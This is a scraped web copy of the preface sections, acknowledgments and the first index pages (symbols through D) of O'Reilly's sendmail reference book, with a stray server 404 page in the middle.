The source for the sendmail program comes with two documents by Eric Allman that are required reading. Sendmail - An Internetwork Mail Router provides an overview of sendmail, including its underlying theory. Sendmail Installation and Operations Guide provides installation instructions and a succinct description of the configuration file. Many vendors also provide online manuals which may reveal vendor-specific customizations not documented in this book. Also, if you have the source, see the files RELEASE_NOTES, src/READ_ME, and cf/README.

The RFCs

A complete understanding of sendmail is not possible without at least some exposure to Request for Comments (RFC) issued by the Internet Engineering Task Force (IETF) at the Network Information Center (NIC). These numbered documents define (among other things) the protocols and operational requirements of the Internet. RFCs are available via anonymous FTP. See the Bibliography for information about how to retrieve individual RFCs.

RFC821

When sendmail transports mail from one machine to another over a TCP/IP network, it does so using a protocol called the Simple Mail Transfer Protocol, or SMTP for short. SMTP is documented in RFC821.

RFC822

The division of mail messages into a header and a body, as well as the syntax and order of header lines are all defined in RFC822, titled Standard for the Format of ARPA Internet Text Messages. It also describes the syntax of addresses.

RFC819

RFC819 is entitled Domain Naming Convention for Internet User Applications and describes the hierarchical form of host naming used today. This document defines the form a hostname must take.

RFC976

RFC976 is entitled UUCP Mail Interchange Format Standard and describes the format of mail messages transported between machines using UUCP.

RFC1123

RFC1123 is an extension to RFC821 and RFC822. It makes several amendments to the original documents and cleans up some previously ambiguous information.

RFC1521 and RFC1522

RFC1521 introduces and describes the standards for Multipurpose Internet Mail Extensions (MIME). MIME provides ways to embed non-text data (such as images, sounds, and movies) inside ordinary email messages.

RFC1651, RFC1652, and RFC1653

RFC1651 describes a general extension mechanism for SMTP, called ESMTP. RFC1652 describes an extension for transport of 8-bit data, called the 8BITMIME extension. RFC1653 describes an extension for message size declaration (see Section 34.8.22, EightBitMode (8)).

RFC1891, RFC1892, RFC1893, and RFC1894

RFC1891, SMTP Service Extension for Delivery Status Notifications (DSN), describes the ESMTP RCPT command's NOTIFY, RET, and ORCPT extensions. It also describes the ESMTP MAIL command's ENVID extension. RFC1892, The Multipart/Report Content Type for the Reporting of Mail System Administrative Messages, describes the Content-Type: header requirements for DSN. It also describes the order and requirements for multipart/report MIME parts of a mail status report's mail message. RFC1893, Enhanced Mail System Status Codes, describes the meaning of the DSN status number fields. RFC1894, An Extensible Message Format for Delivery Status Notifications, describes the machine readable part's header-style keywords, for the machine readable part of the DSN return message described in RFC1892.

Other Books, Other Problems

Two topics that are only touched upon in this book are The Domain Name System (DNS) and TCP/IP network communications. At a typical site, a significant number of problems with mail turn out to be problems with one of these other areas, rather than with sendmail.

The Domain Name System is well documented in the book DNS and BIND, Second Edition by Paul Albitz and Cricket Liu (O'Reilly & Associates, Inc., 1997).

The protocols used to communicate over the Internet are well documented in the book TCP/IP Network Administration by Craig Hunt (O'Reilly & Associates, Inc., 1992).

Finally, many mail problems can only be solved by the system administrator. The sendmail program runs as root and can only be installed and managed by root. The art of functioning effectively as root is superbly covered in the UNIX System Administration Handbook by Evi Nemeth, Garth Snyder, Scott Seebass, and Trent R. Hein (Prentice Hall, 2nd edition 1995).

Previous: Conventions Used in This Handbook | sendmail | Next: Acknowledgments
Conventions Used in This Handbook | Book Index | Acknowledgments


[Preface] Acknowledgments

sendmailSearch this book
Previous: Additional Sources of Information Preface Next: I. A Tutorial

Acknowledgments

First and foremost, I must thank George Jansen, who literally spent months turning my first horrendous, stream of consciousness prose into a form suitable for publication. He is truly the unsung hero of this work, and an editor extraordinaire.

Jon Forrest and Evi Nemeth both beat the tutorial chapters to death. Their feedback was extremely valuable in helping to trim and focus those chapters into a more useful form. Never let it be said that too many cooks spoil the broth - in this case they helped flavor it toward perfection.

Cricket Liu kindly reviewed the DNS chapter, where he found a few errors that somehow slipped by all the others. Bruce Mah and Sean Brennan were guinea pigs for the first and second editions respectively. They set up and ran sendmail based on early drafts and thereby uncovered omissions and mistakes that required correction. Gavin Cameron bravely applied the checkcompat() examples to real-world situations, thereby helping to debug that code for me. And John Funk kindly allowed alpha versions of sendmail to run in production mode at Mercury Mail.

Needless to say, this book would not have been possible at all if Eric Allman had not written sendmail in the first place. Every draft has passed through his hands, and he has spent many hours ensuring technical correctness, providing valuable insight, and suggesting interesting solutions to sendmail problems.

Neil Rickert, too, saw every draft of the 1st edition. But, alas, circumstances beyond his control forced him to bow out from the 2nd edition.

For this 2nd edition, Cricket Liu kindly reviewed Chapter 21, and found several errors that slipped by everyone else.

Thanks and praise must go to Tim O'Reilly for agreeing to do this book in the first place. His experience has shaped this book into the form it has today. He was aware of the "big picture" throughout and kept his fingers on the pulse of the reader. Without his advice, a book this complex and massive would have been impossible.

Additional thanks must go to Lenny Muellner for tuning troff macros to satisfy the needs of this somewhat unique manuscript, and to Edie Freedman for gracefully accepting my unhappiness with so many cover designs except the current one, which I consider perfect.

The production folks at O'Reilly & Associates did a yeoman's job of achieving an outstanding finished book. So a special thank you to John Files for managing the project, Barbara Willette for copy editing, Nancy Kotary for help with final production, Kismet McDonough-Chan for her help in each phase of the production, Chris Reilley for the figures, Mary Anne Weeks Mayo for helping with quality control, Curt Degenhart, Madeleine Newell, and Ellie Fountain Maden for making the edits, Seth Maislin for doing the index, and Danny Marcus for proofreading.

Finally, thanks to a list of folks, each of whom helped
in small but notable ways: Keith Johnson; Paul Pomes;
Frederick Avolio; John Halleck; John Beck; Brad Knowles;
Andrew Chang; Shau-Ping Lo; Nelson Morgan; Julene and
Jake Bair; William Carter;
all the folks at the International Computer Science Institute;
John Funk, Dan Casson, and others at Mercury Mail;
to many of those who sent
interesting questions to the sendmail-questions@sendmail.org mailing list;
and to all the postings to the comp.mail.sendmail news group.

Previous: Additional Sources of Information | sendmail | Next: I. A Tutorial
Additional Sources of Information | Book Index | I. A Tutorial


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/sendmail/BORDER=/ was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

0 flag : 30.8. Alphabetized F= Flags
-144bsd option : 18.5.2. Remove -l44bsd
3 flag : 30.8. Alphabetized F= Flags
5 flag : 30.8. Alphabetized F= Flags
7 flag : 30.8. Alphabetized F= Flags
7 option : (see SevenBitInput (7) option)
7-bit encoding
18.8. Alphabetized Reference
34.8. Alphabetized Reference
8 flag : 30.8. Alphabetized F= Flags
8 option : (see EightBitMode encoding)
8-bit encoding
18.8. Alphabetized Reference
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
9 flag : 30.8. Alphabetized F= Flags
<> (angle brackets)
10.1. Why Preprocess?
17.1.1.1. At least one <> pair
> option : D.5. The > Option
>>> as leading characters : 4.2. Verbose (-v)
nested
10.4. Nested Angle Brackets
17.1.1.2. Strip to left of <
null address : (see addresses, null)
* in mail queue listing
4.1.2. Show Queue Mode (-bp)
23.4. Printing the Queue
@ flag : 30.8. Alphabetized F= Flags
@ symbol in addresses
17.1.1.3. Handle null address
29.4.5. Focusing for @ Syntax
\ (backslash)
in header fields : 35.3.2. Escape Character in the Header Field
in rules : 28.1.2.1. Backslashes in rules
! in UUCP addresses
17.1.4. UUCP Addresses
19.6. Alphabetized m4 Macros
: (colon) in addresses
17.1.2.1. A rule to handle List:;
34.8. Alphabetized Reference
: flag : 30.8. Alphabetized F= Flags
{} (curly braces)
5.3.2. Macros
5.3.5. Class Macros
7.1. Overview
$ (dollar sign)
$ line (qf file) : 23.9. The qf File Internals
$ rule-testing command : 38.3.1. Dump a Defined Macro with $
in macro names : 31.5. Macro Expansion: $ and $&
$ operators
8.7. Wildcard Operators
(see also wildcard operators)
$1, $2, ... : (see positional operators)
$> : 28.6.4. Rewrite Through Another Rule Set: $>set
$* : 10.2.1. The LHS
$@
9.2.2. The Host ($@)
9.3. Testing Rule Set 0
11.4.1. Rewrite the Lone Username
17.1.1.3. Handle null address
33.4.2. Specify Numbered Substitution with $@
$[ and $]
19.6. Alphabetized m4 Macros
21.2.4. The $[ and $] Operators
28.6.6. Canonicalize Hostname: $[ and $]
33.4.3. $[ and $]: A Special Case
$:
9.2.3. The User ($:)
9.3. Testing Rule Set 0
29.6.1. Further Processing: $:user
30.5.3. The $: Part
33.4.1. Specify a Default with $:
$.
14.1.3. Testing So Far
31.6. Macro Conditionals: $?, $|, and $.
$#
9.2.1. The Delivery Agent ($#)
28.6.5. Specify a Delivery Agent: $#
$- : 11.4.1. Rewrite the Lone Username
$( and $) : 33.4. Use Maps with $( and $) in Rules
$+ : 8.7. Wildcard Operators
$?
14.1.3. Testing So Far
31.6. Macro Conditionals: $?, $|, and $.
$| : 31.6. Macro Conditionals: $?, $|, and $.
$ prefixes
$&
28.6.4. Rewrite Through Another Rule Set: $>set
31.5.3. Use Value as Is with $&
$@ : 28.6.3. Rewrite-and-Return Prefix: $@
$:
28.6.2. Rewrite Once Prefix: $:
33.4. Use Maps with $( and $) in Rules
$=
12.1. The Class Command
32.2.1. Matching Any in a Class: $=
$~ : 32.2.2. Matching Any Not in a Class: $~
$@ DSN code : 30.5.2.1. The $@ dsn part
$= rule-testing command : 38.3.2. Dump a Class Macro with $=
$_ macro
20.2.4. Verify identd Information
23.9. The qf File Internals
26.1.3.9. relay= the host that sent or accepted the message
31.10. Alphabetized Reference
. (dot)
. line (qf file) : 23.9. The qf File Internals
to end messages
4.2. Verbose (-v)
30.8. Alphabetized F= Flags
host status file line : B.1. Status file lines
leading in messages : 34.8. Alphabetized Reference
trailing in FQDNs
15.3. MX Records
17.4. Rule Set 4
29.5.1. Stripping Trailing Dots
# for comments
5.1. Overview
5.2.2. Comments
27.2. Comments
38.2. Configuration Lines
in :include: lists : 25.2.1. Comments in :include: Lists
in m4 files : 19.5. Pitfalls
# lines in sendmail.cf : 3.1. Role in the Filesystem
- (hyphen) in machine conversation : 4.2. Verbose (-v)
% in addresses
17.1.5. The % Hack
21.5.1. Offsite MX Hosts
+ (plus)
in configuration file : 1.3.1. The Configuration File
marking users with : 24.4.3. Plussed Users
? for delivery agent flags
14.2. Headers Versus Delivery Agent Flags
35.4. ?flags? in Header Definitions
` and ' (single quotation marks) : 19.1.1. m4 is greedy
" (quotation marks)
13.2.8. The Unquoted Space Replacement Character
31.3.2. Syntax of the Configuration File Macro's Text
stripping from addresses
30.8. Alphabetized F= Flags
33.3.4.9. -q don't strip quotes from key (V8.7 and above)
/ character in alias
24.2.2. Delivery to Files
25.7.3. Appending to Files
/ flag : 30.8. Alphabetized F= Flags
~ for user home directory : 25.7. The User's ~/.forward File
| flag : 30.8. Alphabetized F= Flags
| in addresses : (see programs, delivering to)
| prefix
22.4.3. The F Command - Program Form
24.2.3. Delivery via Programs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

-a database switch : 33.3.4.2. -a append tag on successful match (V8.1 and above)
-A database switch : 33.3.4.1. -A append values for duplicate keys (V8.7 and above)
a flag : 30.8. Alphabetized F= Flags
A flag : 30.8. Alphabetized F= Flags
$a macro
14.2.2. The Date: Header
31.10. Alphabetized Reference
a option : (see AliasWait (a) option)
A option : (see AliasFile (A) option)
A records
15.3. MX Records
21.3.1. MX Must Point to an A Record
34.8. Alphabetized Reference
A= equate
6.2. Define a Mail Delivery Agent
6.3. The local Delivery Agent
30.4. The Equates
accept() : 21.2.2. Look Up a Remote Host's Name
addheader() : 20.3. Alphabetized V8.8 Subroutines
adding
to classes : 38.2.2. Add to a Class with .C
to files : (see appending to files)
message header lines : 20.3. Alphabetized V8.8 Subroutines
"Address already in use" message : 4.1.1.4. If you forget to kill the daemon
"ADDRESS *to" structure : 20.1.1. Arguments Passed to checkcompat()
address-testing mode : 8.3. Rule Sets
addresses
8. Addresses and Rules
8.2. Why Rules?
(see also rule sets; rules)
% character in
17.1.5. The % Hack
21.5.1. Offsite MX Hosts
accepting old-style lists : 13.2.7. Accept Old-Style Lists of Addresses
checking with check_compat : 29.10.4. The check_compat Rule Set
DECnet : 31.10. Alphabetized Reference
host IP : 31.10. Alphabetized Reference
looking up with DNS : 21.2.3. Look Up Addresses for Delivery
masquerading : (see masquerading)
null (empty)
10.3. Missing Addresses
17.1.1.3. Handle null address
30.8. Alphabetized F= Flags
parsing : 38.5.5. Parse an Address with /parse
preprocessing : (see rule set 3)
qualified
16.5. Qualify All Addresses?
D.3. K Command's -d switch
recipient
6.3. The local Delivery Agent
23.9. The qf File Internals
30.8. Alphabetized F= Flags
route addresses
17.1.5. The % Hack
21.5.1. Offsite MX Hosts
29.4.3. Handling Routing Addresses
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
sender's : (see sender's address)
sending host's : 20.1.2. Global Variables
separate BITNET : 19.6. Alphabetized m4 Macros
starting with | : 3.2.2. Delivery Through a Program
stripping quotation marks from
30.8. Alphabetized F= Flags
33.3.4.9. -q don't strip quotes from key (V8.7 and above)
tokenizing : (see tokenization)
transformation rules : 5.3.3. Rules
undeliverable : 4.1.4. Verify Mode (-bv)
UUCP : 17.1.4. UUCP Addresses
X.400 standard : 25.5.6. X.400 Addresses
administration : (see system administration)
aliases file
3.1.1. The Aliases File
22.6. The Aliases File
24.1. The aliases(5) File
24.5. The Aliases Database
33.8. Alphabetized Reference
in symbol table
24.5.4. No DBM Aliasing
33.8. Alphabetized Reference
AliasFile (A) option
3.1.1. The Aliases File
24.1.1. The aliases(5) file's location
34.8. Alphabetized Reference
aliasing
1.3.3. Aliases and Mailing Lists
3.1.1. The Aliases File
24. Aliases
alias database
33.3.4.1. -A append values for duplicate keys (V8.7 and above)
36.7. Alphabetized Reference
AUTO_NIS_ALIASES macro : 18.8. Alphabetized Reference
internal mailing lists : 25.1. Internal Mailing Lists
postmaster : (see postmaster alias)
preventing : 24.6. Prevent Aliasing with -n
rebuilding aliases mode : 4.1.3. Rebuild Aliases Mode (-bi)
retired accounts : 19.6. Alphabetized m4 Macros
selective expansion : D.3. K Command's -d switch
sendmail options for : 34.6.3. Managing Aliases
special aliases : 24.4. Special Aliases
storing aliases as symbol table
24.5.4. No DBM Aliasing
33.8. Alphabetized Reference
testing aliases
4.1.4. Verify Mode (-bv)
24.5.2. Check the Right Side of Aliases
turning off : 36.7. Alphabetized Reference
user as LHS of : 30.8. Alphabetized F= Flags
using db for alias files : C.1. Overview
w class
15.4. Hub Accepts Mail for Client
17.2.1. Is the Host Local?
29.6.3. Delivering to Local Recipient
32.5. Alphabetized Reference
AliasWait (a) option : 34.8. Alphabetized Reference
Allman, Eric : Eric Allman Speaks
allmasquerade feature : 19.6. Alphabetized m4 Macros
AllowBogusHELO option : 34.8. Alphabetized Reference
Almanac package : 25.6.2. Almanac
alternate queues : 23.7. Process Alternate Queues
always_add_domain feature : 19.6. Alphabetized m4 Macros
ambiguous MX records : 21.3.7. Ambiguous MX Records
angle brackets (<>)
10.1. Why Preprocess?
17.1.1.1. At least one <> pair
> option : D.5. The > Option
>>> as leading characters : 4.2. Verbose (-v)
nested
10.4. Nested Angle Brackets
17.1.1.2. Strip to left of <
null address : (see addresses, null)
"Apparently-From:" header line : 35.10. Alphabetized Reference
"Apparently-To:" header line
34.8. Alphabetized Reference
35.10. Alphabetized Reference
appending to files
24.2.2. Delivery to Files
30.8. Alphabetized F= Flags
33.2.1.4. -o append to, don't overwrite the file
(see files)
. line (qf file) : 23.9. The qf File Internals
control lines in qf files : 23.3.3. Extra Data at End of qf File
.forward file and : 25.7.3. Appending to Files
SafeFileEnvironment option : 22.8.3.6. The SafeFileEnvironment option
appending to programs : (see programs, delivering to)
AppleTalk network : 3.3.3. Other Protocols
arguments, command-line
4. How to Run sendmail
(see also switches, command-line)
specifying for delivery agents
6.2. Define a Mail Delivery Agent
6.3. The local Delivery Agent
time arguments : 13.2.2. Limit the Life of Queued Messages
argv[0] : 36.1. Alternative argv[0] Names
arpa/nameser.h file : B.1. Status file lines
ARPAnet/Grey Book protocols : 36.7. Alphabetized Reference
"Auto-Submitted:" header line : 35.10. Alphabetized Reference
AUTO_NIS_ALIASES macro : 18.8. Alphabetized Reference
AutoRebuildAliases (D) option
24.5.3. Prevent Simultaneous Rebuilds
34.8. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

b flag : 30.8. Alphabetized F= Flags
B line (qf file) : 23.9. The qf File Internals
$b macro
14.1.2. The Received: Header
31.10. Alphabetized Reference
$B macro : 31.10. Alphabetized Reference
b option : (see MinFreeBlocks (b) option)
B option : (see BlankSub (B) option)
-b switch
4.1. Become a Mode (-b)
36.7. Alphabetized Reference
-ba switch : 36.7. Alphabetized Reference
-bd switch
3.4. Role as a Daemon
4.1.1. Daemon Mode (-bd)
15.5. Prevent the Daemon from Running
36.7. Alphabetized Reference
-bD switch : 36.7. Alphabetized Reference
-bh switch : 36.7. Alphabetized Reference
-bH switch : 36.7. Alphabetized Reference
-bi switch
4.1.3. Rebuild Aliases Mode (-bi)
24.5.1. Rebuild the Alias Database
36.7. Alphabetized Reference
-bm switch : 36.7. Alphabetized Reference
-bp switch
4.1.2. Show Queue Mode (-bp)
36.7. Alphabetized Reference
-bs switch
14.6. Trusted User
36.7. Alphabetized Reference
-bt switch
5.2. The Minimal File
8.3. Rule Sets
36.7. Alphabetized Reference
38. Rule-Set Testing with -bt
-bv switch
4.1.4. Verify Mode (-bv)
36.7. Alphabetized Reference
-bz switch : 36.7. Alphabetized Reference
-B switch : 36.7. Alphabetized Reference
background delivery mode : 13.2.3. The Default Delivery Mode
backslash (\)
in header fields : 35.3.2. Escape Character in the Header Field
in rules : 28.1.2.1. Backslashes in rules
backward compatibility : D.2. Backward Compatibility
"Bad file number" error : 6.2.1. Testing the client.cf File
"bad ruleset definition" error : 29.1.3. Associate Number with Name
base64 messages : 18.8. Alphabetized Reference
batching rule testing : 38.8. Batch Rule-Set Testing
"Bcc:" header line : 35.10. Alphabetized Reference
Berkeley db : (see db library package)
Berkeley vendor specification : 27.5.1. The vendor
bestmx database class : 33.8. Alphabetized Reference
bestmx_is_local feature : 19.6. Alphabetized m4 Macros
/bin/mail : (see mail program)
BIND, resource on : Other Books, Other Problems
BINDIR= directive : 18.4.7. BINDIR=
bitdomain feature : 19.6. Alphabetized m4 Macros
BITNET addresses : 19.6. Alphabetized m4 Macros
BITNET-RELAY macro (m4) : 19.6. Alphabetized m4 Macros
BITNET_RELAY macro (m4) : 31.10. Alphabetized Reference
BITNET_SITECONFIG macro (m4) : 19.6. Alphabetized m4 Macros
BlankSub (B) option
13.2.8. The Unquoted Space Replacement Character
28.2.3. Pasting Addresses Back Together
34.8. Alphabetized Reference
blind carbon copy : 35.10. Alphabetized Reference
BODY parameter (ESMTP)
31.10. Alphabetized Reference
36.7. Alphabetized Reference
body, message : 1.6. The Body
B line (qf file) : 23.9. The qf File Internals
in queue
3.1.2. The Queue Directory
23.2.2. The Data (Message Body) File: df
${bodytype} macro : 31.10. Alphabetized Reference
bogus qf files : 23.3. A Bogus qf File (V8 only): Qf
Boolean-type arguments : 34.5. Option Argument Types
bouncing messages
10.3. Missing Addresses
35.10. Alphabetized Reference
36.7. Alphabetized Reference
down sites and : 23.7.1. Handling a Down Site
error messages and : 34.8. Alphabetized Reference
mailing lists and
25.5.1. Reply Versus Bounce
25.5.3. A list-bounced Alias
to postmaster
22.8.3.4. The PostmasterCopy option
24.4.1. The Postmaster Alias
priority and : 14.4. Precedence
recipient of : (see $n macro)
from retired accounts : 19.6. Alphabetized m4 Macros
return interval : 13.2.2. Limit the Life of Queued Messages
saved in qf file : 23.3.6. Savemail Panic
braces {}
5.3.2. Macros
5.3.5. Class Macros
7.1. Overview
broadcast messages : 14.4. Precedence
BROKEN_RES_SEARCH macro : 18.8. Alphabetized Reference
BSD4_3 and BSD4_4 macros : 18.8. Alphabetized Reference
btree database class : 33.8. Alphabetized Reference
buffer, tokenizations : (see workspace)
bugs
18.2. Vendor Versus Compiling
18.8. Alphabetized Reference
22.3.1. SMTP debug
(see also debugging)
bug fixes : 2.2. Read the Documents
db library package : C.2. Get the Source
nested angle brackets : 10.4. Nested Angle Brackets
NIS and vfork : 18.8. Alphabetized Reference
building
18.3.2. The makesendmail Script
(see also configuring)
alias database
24.5.1. Rebuild the Alias Database
24.5.2. Check the Right Side of Aliases
sendmail
18.3.2. The makesendmail Script
18.5. Run Make
19.2. Build with m4
bulk precedence
14.4. Precedence
25.5.5. Precedence: bulk

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

C configuration command
5.3.5. Class Macros
12.1.1. Declaring a Class
12.1.6. Add Class w to client.cf
14.6. Trusted User
32.1. Class Configuration Commands
32.1.1. The C Class Command
c flag : 30.8. Alphabetized F= Flags
C flag
30.7. Pitfalls
30.8. Alphabetized F= Flags
C line (qf file) : 23.9. The qf File Internals
$c macro : 31.10. Alphabetized Reference
$C macro : 31.10. Alphabetized Reference
c option : (see HoldExpensive (c) option)
C option : (see CheckpointInterval (C) option)
.C rule-testing command : 38.2.2. Add to a Class with .C
-c switch : 36.7. Alphabetized Reference
-C switch
5.2. The Minimal File
15.2. The Real Queue Directory
36.7. Alphabetized Reference
C= equate : 30.4. The Equates
caching
MX records : 21.3.6. Caching MX Records
servers : 21.1. Overview
/canon rule-testing command : 38.5.1. Canonify a Host with /canon
canonical name : 7.3.1. The hostname
determining with DNS : 21.2.1. Determine the Local Canonical Name
host : 31.10. Alphabetized Reference
local : (see $j macro)
canonicalization
17.2.1. Is the Host Local?
38.5.1. Canonify a Host with /canon
$[ and $] operators and
19.6. Alphabetized m4 Macros
21.2.4. The $[ and $] Operators
28.6.6. Canonicalize Hostname: $[ and $]
33.4.3. $[ and $]: A Special Case
nocanonify feature : 19.6. Alphabetized m4 Macros
capitalization
aliases : 3.1.1. The Aliases File
database keys
33.2.1.2. -f don't fold uppercase to lowercase
33.3.4.3. -f don't fold keys to lowercase (V8.1 and above)
hostnames : 30.8. Alphabetized F= Flags
macro names and : 7.2. Defining Macros
usernames : 30.8. Alphabetized F= Flags
carbon copies : 35.10. Alphabetized Reference
case : (see capitalization)
category data, DSN delivery : 30.5.2.1. The $@ dsn part
"Cc:" header line : 35.10. Alphabetized Reference
cf directory : 16.1. The cf/cf Directory
_CF_DIR_ macro : 19.2.1. Maintain local files with _CF_DIR_
character set : 30.4. The Equates
character-type arguments : 34.5. Option Argument Types
check_compat rule set : 29.10.4. The check_compat Rule Set
check_mail rule set
20.2.6. Reject Mail from Spamming or Mail-bombing Sites
29.10.1. The check_mail Rule Set
check_rcpt rule set : 29.10.2. The check_rcpt Rule Set
check_relay rule set : 29.10.3. The check_relay Rule Set
CheckAliases (n) option
24.5.2. Check the Right Side of Aliases
34.8. Alphabetized Reference
checkcompat() : 20. The checkcompat() Cookbook
subroutines for : 20.3. Alphabetized V8.8 Subroutines
checking : (see testing)
CheckpointInterval (C) option : 34.8. Alphabetized Reference
child, sendmail : 30.6.2. The Child
class command : 12.1. The Class Command
class macros
5.3.5. Class Macros
12. Class
32. Class Macros
m4 and : 32.3. Class with m4
class= equate (syslog output) : 26.1.3.1. class= the queue class
classes
adding to : 38.2.2. Add to a Class with .C
database : 33.8. Alphabetized Reference
declaring : 32.1. Class Configuration Commands
looking up words in : 20.3. Alphabetized V8.8 Subroutines
name hashing algorithm : 32.2.4. Class Name Hashing Algorithm
storing in files : 12.2. The File Form of Class
ClassFactor (z) option : 34.8. Alphabetized Reference
client.cf : A. The client.cf File
${client_addr} macro : 31.10. Alphabetized Reference
${client_name} macro : 31.10. Alphabetized Reference
CNAME records
21.3.2. MX to CNAME Causes Extra Lookups
34.8. Alphabetized Reference
codes : (see numbers)
colon (:) : 34.8. Alphabetized Reference
ColonOkInAddr option : 34.8. Alphabetized Reference
columns, database key
33.3.4.4. -k specify column for key (V8.7 and above)
33.3.4.11. -v specify the value's column (V8.7 and above)
command line : 4. How to Run sendmail
processing : 36.4. Processing the Command Line
troubleshooting : 36.6. Pitfalls
commands
configuration
5.1. Overview
27.1. Overall Syntax
incorrect usage error : 36.5.10. EX_USAGE A Command Was Used Incorrectly
comments
5.2.2. Comments
6.3.2. Adding Comments
in header fields : 35.3.4. Comments in the Header Field
in :include: lists : 25.2.1. Comments in :include: Lists
in m4 files : 19.5. Pitfalls
in rule definitions : 8.4. Rules
in sendmail.cf file
3.1. Role in the Filesystem
5.1. Overview
27.2. Comments
stripping from headers : 30.8. Alphabetized F= Flags
"Comments:" header line : 35.10. Alphabetized Reference
compatibility between sendmail versions
5.2.1. Version
27.5. The V Configuration Command
D.2. Backward Compatibility
compiling db library package : C.3. Compile and Install
compiling sendmail : 2.5. Build
enabling databases : 33.1. Enable at Compile Time
macros for : 18.8. Alphabetized Reference
vendor copies versus : 18.2. Vendor Versus Compiling
completion, command option : 34.1.2.1. Multicharacter name shorthand
conditionals : (see macro conditionals)
conf.c file
18.3.3. What to Tune
35.5. Header Behavior in conf.c
conf.h file : 18.3.3. What to Tune
configuration commands
5.1. Overview
27.1. Overall Syntax
configuration file : (see sendmail.cf configuration file)
configuring
hub : 15.4. Hub Accepts Mail for Client
sendmail
2.4. Preliminaries
18.6. Install sendmail
19.6. Alphabetized m4 Macros
connection cache
26.3.3.2. -- connection cache: --
34.6.5. Connection Caching
"Connection timed out" message : 4.2. Verbose (-v)
ConnectionCacheSize (k) option : 34.8. Alphabetized Reference
ConnectionCacheTimeout (K) option : 34.8. Alphabetized Reference
ConnectionRateThrottle option : 34.8. Alphabetized Reference
"Content-Length:" header line
35.10. Alphabetized Reference
D. Sun Enhancements
"Content-Transfer-Encoding:" header line : 35.10. Alphabetized Reference
"Content-Type:" header line
30.4. The Equates
32.5. Alphabetized Reference
34.8. Alphabetized Reference
35.10. Alphabetized Reference
continuation lines : 27.4. Continuation Lines
control characters : 23.3.4. Unknown Control Character in qf File
control headers : 35.6.4. Identification and Control Headers
converting
Japanese font conversion : 36.7. Alphabetized Reference
macro names to integers : 20.3. Alphabetized V8.8 Subroutines
copying
bounced messages to postmaster : 22.8.3.4. The PostmasterCopy option
messages to postmaster : 24.4.1. The Postmaster Alias
qf file temporarily : 23.2.6. The Temporary qf Rewrite Image: tf
cost : (see preference)
"could not exec" error : 26.3.2. SIGHUP Restart
cron program, statistics and : 26.2.3. Using cron for Daily and Weekly Statistics
curly braces {}
5.3.2. Macros
5.3.5. Class Macros
7.1. Overview
current
date : (see $d macro)
time and date : (see $b macro)
customizing sendmail temporarily : 19.6. Alphabetized m4 Macros

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

D configuration command
5.3.2. Macros
7.1. Overview
31.3. Configuration File Definitions
d flag : 30.8. Alphabetized F= Flags
D flag
14.2.2. The Date: Header
30.8. Alphabetized F= Flags
D line (host status file) : B.1. Status file lines
D line (qf file) : 23.9. The qf File Internals
$d macro : 31.10. Alphabetized Reference
d option : (see DeliveryMode (d) option)
D option : (see AutoRebuildAliases (D) option)
.D rule-testing command : 38.2.1. Define a Macro with .D
-d switch (sendmail)
4.3. Debugging (-d)
36.7. Alphabetized Reference
37.1. The Syntax of -d
complete list of switches : 37.5. Reference in Numerical Order
-d0.1 switch
7.3.1. The hostname
11.6. Handling user@thishost
37.5. Reference in Numerical Order
-d0.15 switch
6.3.3. Testing the New Delivery Agent Definitions
37.5. Reference in Numerical Order
-d0.4 switch
31.7.1. Macros and the System Identity
37.5. Reference in Numerical Order
-d21.12 switch
10.5. Details of Rule Flow
37.5. Reference in Numerical Order
-d35.9 switch
7.3. Predefined Macros
37.5. Reference in Numerical Order
-d37.1 switch
13.3. Testing the Options
37.5. Reference in Numerical Order
with rule testing : 38.7. Add Debugging for Detail
-d switch (makemap) : 33.2.1.1. -d allow duplicate keys
D= equate : 30.4. The Equates
daemon
options for : 34.8. Alphabetized Reference
preventing from running : 15.5. Prevent the Daemon from Running
privacy of : 34.8. Alphabetized Reference
signals : 26.3. Signaling the Daemon
daemon mode
3.4. Role as a Daemon
4.1.1. Daemon Mode (-bd)
36.7. Alphabetized Reference
daemon user : 14.6. Trusted User
DaemonPortOptions (O) option : 34.8. Alphabetized Reference
"dangerous write permissions" warning : 22.5.1. Dangerous Write Permissions
DATA keyword : 4.2. Verbose (-v)
database macros : 33. Database Macros
databases
classes for : 33.8. Alphabetized Reference
external (keyed)
5.3.11. Keyed Databases
20.3. Alphabetized V8.8 Subroutines
K command types : 33.3.2. The class
library support : 18.4.1. DBMDEF=
m4 and : 33.6. Database Maps and m4
/map rule-testing command : 38.5.3. Look up a Database Item with /map
User Database
33.5. The User Database
33.8. Alphabetized Reference
34.8. Alphabetized Reference
date : (see time and date)
"Date:" header line
1.5. The Header
14.2.2. The Date: Header
30.8. Alphabetized F= Flags
35.10. Alphabetized Reference
db library package
2.4.1. Eliminate or Keep db Support?
18.8. Alphabetized Reference
C.1. Overview
compiling and installing : C.3. Compile and Install
